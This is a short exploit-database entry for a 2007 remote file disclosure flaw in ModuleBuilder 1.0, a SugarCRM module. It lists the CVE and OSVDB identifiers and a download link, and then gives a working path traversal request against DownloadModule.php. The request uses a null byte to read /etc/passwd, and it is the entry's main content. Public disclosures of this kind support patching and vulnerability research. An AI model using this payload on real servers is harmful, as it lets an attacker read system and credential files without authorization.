ModuleBuilder 1.0 - 'file' Remote File Disclosure

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2007-10-30
date_updated: 
verified: 1
codes: OSVDB-39068;CVE-2007-5812;OSVDB-38414
tags: 
aliases: 
screenshot_url: 
application_url: 

ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability
http://www.sugarforge.org/frs/download.php/1274/install_ModuleBuilderV1.0.zip
/modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00

# milw0rm.com [2007-10-31]